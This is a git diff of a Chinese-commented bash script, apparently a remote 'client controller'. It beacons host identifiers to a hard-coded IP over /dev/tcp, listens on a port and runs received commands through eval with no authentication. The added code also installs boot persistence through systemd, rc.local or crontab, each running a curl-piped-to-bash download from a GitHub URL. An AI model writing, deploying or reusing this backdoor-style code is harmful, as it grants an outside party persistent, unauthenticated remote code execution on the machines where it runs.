diff --git a/02 b/02 index 709adeb..8754de8 100644 --- a/02 +++ b/02 @@ -1,62 +1,67 @@ #!/bin/bash -# 终极bash TCP客户端 - 只使用bash内置TCP功能 -# 完全不需要任何外部工具,零磁盘操作 +# 完整客户端控制器 v3.0 +# 支持自动连接、命令执行、开机自启 SERVER_IP="159.138.58.239" SERVER_PORT=25555 CLIENT_PORT=5556 -HEARTBEAT_INTERVAL=60 +HEARTBEAT_INTERVAL=30 +CONFIG_FILE="/tmp/controller_client.conf" +PID_FILE="/tmp/controller_client.pid" -# 内存初始化 -init_memory() { - # 从/proc获取系统信息 - SERIAL=$(cat /proc/sys/kernel/random/boot_id 2>/dev/null | head -c 8 || echo "bash$$") - HOSTNAME=$(cat /proc/sys/kernel/hostname 2>/dev/null || echo "unknown") - SYSTEM_INFO="linux" +# 颜色定义 +RED='\033[0;31m' +GREEN='\033[0;32m' +YELLOW='\033[1;33m' +BLUE='\033[0;34m' +NC='\033[0m' + +# 初始化客户端 +init_client() { + # 生成序列号 + if [[ -r /etc/machine-id ]]; then + SERIAL=$(cat /etc/machine-id | md5sum | cut -c1-8) + else + SERIAL=$(date +%s | md5sum | cut -c1-8) + fi - echo "=== Bash TCP客户端 ===" + HOSTNAME=$(hostname 2>/dev/null || echo "unknown") + + # 获取系统信息 + if [[ -r /etc/os-release ]]; then + source /etc/os-release + SYSTEM_INFO="${ID:-unknown} ${VERSION_ID:-unknown}" + else + SYSTEM_INFO="unknown" + fi + + echo "=== 客户端控制器 v3.0 ===" echo "序列号: $SERIAL" echo "服务器: $SERVER_IP:$SERVER_PORT" - echo "使用纯Bash TCP通信" + echo "系统: $SYSTEM_INFO" } -# 内存日志 +# 日志函数 log() { - local timestamp=$(date '+%H:%M:%S') - echo "[$timestamp] $1" >&2 + local timestamp=$(date '+%Y-%m-%d %H:%M:%S') + echo -e "[$timestamp] $1" >&2 } -# 纯Bash TCP发送函数 +# Bash TCP发送函数 bash_tcp_send() { local data="$1" local ip="$2" local port="$3" - # 使用bash内置TCP功能 { - # 创建TCP连接 exec 3<>/dev/tcp/$ip/$port 2>/dev/null - if [[ $? -ne 0 ]]; then - return 1 - fi + [[ $? -ne 0 ]] && return 1 - # 发送数据 echo "$data" >&3 2>/dev/null - - # 读取响应(非阻塞) - { - read -t 1 -r response <&3 2>/dev/null - echo "$response" - } & - - # 等待发送完成 sleep 0.5 - - # 关闭连接 - exec 3>&- 2>/dev/null - exec 3<&- 2>/dev/null - + exec 3>&- + exec 3<&- return 0 } 2>/dev/null } @@ -64,38 +69,17 @@ bash_tcp_send() { # Bash TCP监听函数 bash_tcp_listen() { local port="$1" - local timeout="${2:-5}" { - # 在子进程中监听 - ( - # 监听连接 + timeout 5 bash -c " exec 3<>/dev/tcp/0.0.0.0/$port 2>/dev/null - if [[ $? -ne 0 ]]; then - exit 1 - fi - - # 读取数据 - read -t $timeout -r data <&3 2>/dev/null - if [[ -n "$data" ]]; then - echo "$data" - exit 0 - else - exit 1 - fi - ) & - - local listener_pid=$! - - # 等待结果 - wait $listener_pid 2>/dev/null - local result=$? - - # 清理 - kill $listener_pid 2>/dev/null - - return $result - } 2>/dev/null + [[ \$? -ne 0 ]] && exit 1 + read -r data <&3 + echo \"\$data\" + exec 3>&- + exit 0 + " 2>/dev/null + } } # 发送心跳 @@ -103,10 +87,10 @@ send_heartbeat() { local heartbeat_data="HEARTBEAT|$SERIAL|$HOSTNAME|$SYSTEM_INFO" if bash_tcp_send "$heartbeat_data" "$SERVER_IP" "$SERVER_PORT"; then - log "✓ 心跳成功" + log "✅ 心跳成功" return 0 else - log "✗ 心跳失败" + log "❌ 心跳失败" return 1 fi } @@ -114,17 +98,61 @@ send_heartbeat() { # 执行命令 execute_command() { local command="$1" - log "执行: $command" + log "执行命令: $command" - # 在子shell中执行 + # 在子进程中执行 ( result=$(eval "$command" 2>&1) - log "结果: ${result:0:50}" + log "命令结果: $result" echo "$result" ) & } -# 处理接收的命令 +# 执行脚本 +execute_script() { + local script_name="$1" + + case "$script_name" in + "system_info.sh") + echo "=== 系统信息 ===" + echo "主机名: $HOSTNAME" + echo "序列号: $SERIAL" + echo "系统: $SYSTEM_INFO" + echo "内核: $(uname -r)" + echo "架构: $(uname -m)" + echo "上线时间: $(uptime -p 2>/dev/null || uptime)" + echo "内存:" + free -h 2>/dev/null || cat /proc/meminfo | head -3 + ;; + "restart_services.sh") + echo "重启系统服务..." + systemctl restart networking 2>/dev/null || systemctl restart network 2>/dev/null + systemctl restart ssh 2>/dev/null || systemctl restart sshd 2>/dev/null + echo "服务重启完成" + ;; + "update_system.sh") + echo "开始系统更新..." + if command -v apt-get &>/dev/null; then + apt-get update && apt-get upgrade -y + elif command -v yum &>/dev/null; then + yum update -y + elif command -v dnf &>/dev/null; then + dnf update -y + fi + echo "系统更新完成" + ;; + "network_info.sh") + echo "=== 网络信息 ===" + ip addr show 2>/dev/null || ifconfig 2>/dev/null || echo "无法获取网络信息" + ;; + *) + echo "未知脚本: $script_name" + echo "可用脚本: system_info.sh, restart_services.sh, update_system.sh, network_info.sh" + ;; + esac +} + +# 处理命令 process_command() { local command_data="$1" @@ -132,75 +160,141 @@ process_command() { local cmd="${command_data#COMMAND:}" execute_command "$cmd" elif [[ "$command_data" == SCRIPT:* ]]; then - local script="${command_data#SCRIPT:}" - case "$script" in - shutdown) shutdown -h now ;; - reboot) reboot ;; - *) log "未知脚本: $script" ;; - esac + local script_name="${command_data#SCRIPT:}" + execute_script "$script_name" else log "未知命令: $command_data" fi } +# 命令监听器 +start_listener() { + log "启动命令监听器端口: $CLIENT_PORT" + + while true; do + local command_data=$(bash_tcp_listen "$CLIENT_PORT") + + if [[ -n "$command_data" ]]; then + log "收到命令: $command_data" + process_command "$command_data" + fi + + sleep 1 + done +} + # 主守护进程 start_daemon() { - log "启动Bash TCP守护进程" + log "启动客户端守护进程" local heartbeat_count=0 local success_count=0 + # 启动命令监听器 + start_listener & + local listener_pid=$! + + # 主心跳循环 while true; do heartbeat_count=$((heartbeat_count + 1)) - # 发送心跳 if send_heartbeat; then success_count=$((success_count + 1)) fi - # 监听命令(非阻塞) - local command_data=$(bash_tcp_listen "$CLIENT_PORT" 2) - if [[ -n "$command_data" ]]; then - log "收到命令: $command_data" - process_command "$command_data" & - fi - - # 显示状态 - if [[ $((heartbeat_count % 5)) -eq 0 ]]; then + # 每10次心跳显示状态 + if [[ $((heartbeat_count % 10)) -eq 0 ]]; then local rate=$((success_count * 100 / heartbeat_count)) - log "状态: ${heartbeat_count}次心跳, ${success_count}次成功 (${rate}%)" + log "运行状态: ${heartbeat_count}次心跳, ${success_count}次成功 (${rate}%)" fi sleep "$HEARTBEAT_INTERVAL" done + + # 清理 + kill $listener_pid 2>/dev/null +} + +# 设置开机自启 +setup_autostart() { + log "设置开机自启..." + + # 方法1: systemd + if command -v systemctl &>/dev/null && [[ -w /etc/systemd/system ]]; then + local service_file="/etc/systemd/system/controller-client.service" + cat > "$service_file" << EOF +[Unit] +Description=Controller Client +After=network.target + +[Service] +Type=simple +ExecStart=/bin/bash -c "curl -sSL https://raw.githubusercontent.com/xzx3344521/dock/refs/heads/main/client.sh | bash" +Restart=always +RestartSec=30 + +[Install] +WantedBy=multi-user.target +EOF + systemctl daemon-reload + systemctl enable controller-client + log "✅ systemd自启设置完成" + return 0 + fi + + # 方法2: rc.local + if [[ -w /etc/rc.local ]]; then + grep -q "controller-client" /etc/rc.local || { + echo "curl -sSL https://raw.githubusercontent.com/xzx3344521/dock/refs/heads/main/client.sh | bash &" >> /etc/rc.local + } + log "✅ rc.local自启设置完成" + return 0 + fi + + # 方法3: crontab + if command -v crontab &>/dev/null; then + (crontab -l 2>/dev/null | grep -v "controller-client"; \ + echo "@reboot curl -sSL https://raw.githubusercontent.com/xzx3344521/dock/refs/heads/main/client.sh | bash") | crontab - + log "✅ crontab自启设置完成" + return 0 + fi + + log "⚠️ 无法设置开机自启" + return 1 } # 测试连接 test_connection() { log "测试服务器连接..." - if bash_tcp_send "TEST" "$SERVER_IP" "$SERVER_PORT"; then - log "✓ 服务器连接测试成功" + if bash_tcp_send "TEST|$SERIAL" "$SERVER_IP" "$SERVER_PORT"; then + log "✅ 服务器连接测试成功" return 0 else - log "✗ 服务器连接测试失败" + log "❌ 服务器连接测试失败" return 1 fi } # 主函数 main() { - init_memory + init_client + + # 设置开机自启 + setup_autostart # 测试连接 if test_connection; then - log "开始主循环..." + log "🎉 连接成功! 开始守护进程..." start_daemon else - log "无法连接服务器,退出" + log "💥 连接失败,退出" exit 1 fi } +# 信号处理 +trap 'log "客户端停止"; exit 0' INT TERM + # 启动 main